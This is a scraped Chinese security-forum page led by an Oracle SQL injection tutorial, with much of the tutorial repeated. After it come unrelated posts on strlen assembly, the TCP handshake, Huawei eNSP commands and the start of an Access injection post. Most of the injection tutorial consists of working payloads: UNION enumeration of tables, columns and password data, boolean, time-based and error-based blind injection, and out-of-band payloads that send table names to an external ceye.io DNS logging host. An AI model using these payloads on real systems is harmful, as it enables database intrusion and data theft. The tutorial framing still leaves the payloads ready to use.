and 1=2 显示错误
则为无闭合符 
0x04联合查询
1.判断列数:order by 3 显示正常
order by 4 显示错误
则为有三列数据
 
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null,null from dual 返回正常

and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型





3.判断显示位and 1=2 union select 1,'2','3' from dual -- 将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位




 
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --





6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --





7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --

and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID

tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME

















8.探测关键字段的数据and 1=2 union select id,name,pass from student where id=3 --




Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUESTunion SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL








UTL_INADDR.GET_HOST_ADDRESSunion SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL



HTTPURITYPEunion SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL
DBMS_LDAP.INITunion SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL


0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数and (select count(table_name) from user_tables)>2 -- 页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2





2.获取第一个表的字符个数
length()函数判断字符个数and (select length(table_name) from user_tables where rownum=1)>7 -- 页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7


















2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
           string 为字符串
           start  为起始长度从1开始
           length 为长度
 
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULLand ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 -- 页面正常,即第一个字符为ascii值83所对应的字母。为W 






二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
 
DECODE(expr, search, result
             [, search, result ]...
       [, default ]
      )
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
 
类似 C++ 里面的switch语句。
 
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
 
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
 
1.探测第一个表名的第一个字符and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual) 执行这条语句是页面延迟,即第一个表名的第一个字符为S






0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null -- 探测数据库版本信息
 





2.使用dbms_xdb_version.makeversioned()进报错注入and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
 





3.报错注入其他payloadand (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--
 
 
 
0x07参考文献
 
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
 
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm 查看全部
0x00前言
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
 
0x01环境
  • 服务器:win server 2008
  • 中间件:IIS7.0
  • 数据库:Oracle Database 18c企业版版本18.0.0.0.0
  • 前端语言:ASP

 
 
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库
create database databasename

2、删除数据库
drop database dbname

3、备份数据库
* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y

 4、数据库还原
打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y











二、Oracle表操作
1、创建表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>

2、删除表
drop table tabname

3、重命名表
  说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename

4、增加字段
说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);

5、修改字段
说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));

6、重名字段
说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;

7、删除字段
  
说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;

8、添加主键
alter table tabname add primary key(col)

9、删除主键
alter table tabname drop primary key(col)

10、创建索引
create [unique] index idxname on tabname(col….)

11、删除索引
 
  drop index idxname
注:索引是不可更改的,想更改必须删除重新建。

12、创建视图
create view viewname as select statement

13、删除视图
drop view viewname

三、Oracle操作数据
1、数据查询
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]

2、插入数据
insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');

3、更新数据
update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'

update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;

4、删除数据
* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快

5、数据复制
* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1;
 
 
0x03判断注入点
1.判断注入点类型(同MYSQL注入)

TIM截图20190708180910.png
'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符
 
0x04联合查询
1.判断列数:
order by 3  显示正常
order by 4 显示错误
则为有三列数据

 
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null,null from dual    返回正常

and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

TIM截图20190708182255.png


3.判断显示位
and 1=2 union select 1,'2','3' from dual --    将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位

TIM截图20190708184239.png

 
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) 
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --

TIM截图20190709094254.png


5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --

TIM截图20190709095138.png


6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'
and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --

TIM截图20190709102423.png


7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名
and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --

and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID

tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME







TIM截图20190709101904.png


TIM截图20190709102756.png


8.探测关键字段的数据
and 1=2 union select id,name,pass from student where id=3  --

TIM截图20190709104438.png

Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUEST
union SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL



TIM截图20190711160806.png


UTL_INADDR.GET_HOST_ADDRESS
union SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL



HTTPURITYPE
union SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL

DBMS_LDAP.INIT
union SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL


0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数
and (select count(table_name) from user_tables)>2 --    页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2

TIM截图20190709111623.png


2.获取第一个表的字符个数
length()函数判断字符个数
and (select length(table_name) from user_tables where rownum=1)>7 --  页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7












TIM截图20190709112122.png



2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
           string 为字符串
           start  为起始长度从1开始
           length 为长度
 
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULL
and ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 --  页面正常,即第一个字符为ascii值83所对应的字母。为W
 
TIM截图20190709113018.png



二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
 
DECODE(expr, search, result
             [, search, result ]...
       [, default ]
      )
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
 
类似 C++ 里面的switch语句。
 
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
 
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
 
1.探测第一个表名的第一个字符
and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual)    执行这条语句是页面延迟,即第一个表名的第一个字符为S

TIM截图20190709162609.png



0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --   探测数据库版本信息

 
TIM截图20190709123525.png



2.使用dbms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 
TIM截图20190709123303.png



3.报错注入其他payload
and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--

 
 
 
0x07参考文献
 
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
 
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm

strlen() 函数汇编代码简析

snow 发表了文章 • 0 个评论 • 130 次浏览 • 2019-06-10 21:06 • 来自相关话题

    在高级语言里,都有计算字符串长度的函数,例如 C 语言中的 strlen() 函数,该函数在优化编译模式下的汇编代码如下:mov ecx, FFFFFFFF
sub eax, eax
repnz
scasb
not ecx
dec ecx
je xxxxxx
因为这里边的 repnz 和 scasb 指令都没有见过,所以对这段代码很是不理解。在 intel 官方手册上,对这两个命令的解释是:while(--ecx)
{
if(*(edi++)==al)
{
break;
}

这样就很清楚了。上面的代码,就是
1.先将 ecx 设为-1
2.将 eax 设为0
3.开始循环,每次循环 ecx 先减去1,如果为0,则退出循环。如果不为0,则继续:
    然后将 al 中的值和 edi 中的字节进行比较,如果相等,则退出循环。
    否则,继续循环。每次循环 edi 都加上1,用以指向下一字节。
 
小问答:为什么要将 ecx 设为-1:ecx 设为-1可以方便的得到字符串的长度。每次循环 ecx 的值都减一,这样循环结束 ecx 的值取反再减去1就是循环的次数,也就是字符串的长度。
为什么要将 eax 设为0:因为在 C 里边,字符串都是以 “\0”进行结尾的。“\0”的 ascii 码为 “0”,所以 C 字符串也称为“ASCIIZ 字符串”,“Z”就代表着以“\0”为结束标志。所以将 edi 指向的字节和 eax 进行比较,若相等,则说明该字符串已经到达了结尾。
 
 
  查看全部
    在高级语言里,都有计算字符串长度的函数,例如 C 语言中的 strlen() 函数,该函数在优化编译模式下的汇编代码如下:
mov ecx, FFFFFFFF        
sub eax, eax
repnz
scasb
not ecx
dec ecx
je xxxxxx

因为这里边的 repnz 和 scasb 指令都没有见过,所以对这段代码很是不理解。在 intel 官方手册上,对这两个命令的解释是:
while(--ecx)
{
if(*(edi++)==al)
{
break;
}
}
 
这样就很清楚了。上面的代码,就是
1.先将 ecx 设为-1
2.将 eax 设为0
3.开始循环,每次循环 ecx 先减去1,如果为0,则退出循环。如果不为0,则继续:
    然后将 al 中的值和 edi 中的字节进行比较,如果相等,则退出循环。
    否则,继续循环。每次循环 edi 都加上1,用以指向下一字节。
 
小问答:为什么要将 ecx 设为-1:ecx 设为-1可以方便的得到字符串的长度。每次循环 ecx 的值都减一,这样循环结束 ecx 的值取反再减去1就是循环的次数,也就是字符串的长度。
为什么要将 eax 设为0:因为在 C 里边,字符串都是以 “\0”进行结尾的。“\0”的 ascii 码为 “0”,所以 C 字符串也称为“ASCIIZ 字符串”,“Z”就代表着以“\0”为结束标志。所以将 edi 指向的字节和 eax 进行比较,若相等,则说明该字符串已经到达了结尾。
 
 
 

计算机网络原理三次握手四次挥手详细

jizi_smile 发表了文章 • 1 个评论 • 213 次浏览 • 2019-04-14 13:51 • 来自相关话题

TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。
下面是TCP报文格式图:





上图中有几个字段需要重点介绍下:
序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:
URG:紧急指针(urgent pointer)有效。ACK:确认序号有效。PSH:接收方应该尽快将这个报文交给应用层。RST:重置连接。SYN:发起一个新连接。FIN:释放一个连接。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。确认方Ack=发起方Req+1,两端配对而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。


 4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示


 由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
 
上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:





 
为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
 
 
转自(https://blog.csdn.net/qq_34940959/article/details/78592379) 查看全部
TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。

下面是TCP报文格式图:

包结构.png

上图中有几个字段需要重点介绍下:
  1. 序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
  2. 确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。
  3. 标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:

  • URG:紧急指针(urgent pointer)有效。
  • ACK:确认序号有效。
  • PSH:接收方应该尽快将这个报文交给应用层。
  • RST:重置连接。
  • SYN:发起一个新连接。
  • FIN:释放一个连接。
需要注意的是:
  • 不要将确认序号Ack与标志位中的ACK搞混了。
  • 确认方Ack=发起方Req+1,两端配对
而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]
  • 第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。
  • 第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
  • 第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。
  • 20171122163321743.png
     4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示
    四次挥手.png
     由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​
    • 第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。
    • 第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。
    • 第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。
    • 第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。

     
    上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:

    四次挥手特例.png

     
    为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
    这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
     
     
    转自(https://blog.csdn.net/qq_34940959/article/details/78592379

    华为模拟器eNSP基本命令

    cat 发表了文章 • 0 个评论 • 181 次浏览 • 2019-04-12 16:23 • 来自相关话题

     一、基本命令
    system-view    进入系统视图,默认为用户视图,命令简写 syssysname    修改名称ctrl + z     快速退出到用户模式quit    退出当前设置save    保存配置信息display ip routing-table    查看路由表interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1命令+ ?    查看帮助命令Tab键   补全命令二、二层交换机命令display vlan  查看整个vlan接口情况vlan 2   划分单个vlanvlan batch 2 3 划分多个vlanport link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:


    三、路由命令ip address 1.1.1.1 24    设置某个接口的ipdisplay ip interface brief    查看所有的接口与ip的相关信息ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1
     
     
    如果有需要补充,请在下面留言 查看全部
     一、基本命令
    • system-view    进入系统视图,默认为用户视图,命令简写 sys
    • sysname    修改名称
    • ctrl + z     快速退出到用户模式
    • quit    退出当前设置
    • save    保存配置信息
    • display ip routing-table    查看路由表
    • interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1
    • 命令+ ?    查看帮助命令
    • Tab键   补全命令
    二、二层交换机命令
    • display vlan  查看整个vlan接口情况
    • vlan 2   划分单个vlan
    • vlan batch 2 3 划分多个vlan
    • port link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:
      20171116093630265.png
    三、路由命令
    • ip address 1.1.1.1 24    设置某个接口的ip
    • display ip interface brief    查看所有的接口与ip的相关信息
    • ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1

     
     
    如果有需要补充,请在下面留言

    Access数据库注入

    数据库SQL语言flaray 发表了文章 • 0 个评论 • 165 次浏览 • 2019-04-01 17:55 • 来自相关话题

    0x001:基础知识
        *
        默认用户:admin,密码:空。
        *
        注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
        *
    Access不支持多句执行。
        *
    Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
        *
    附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
        *
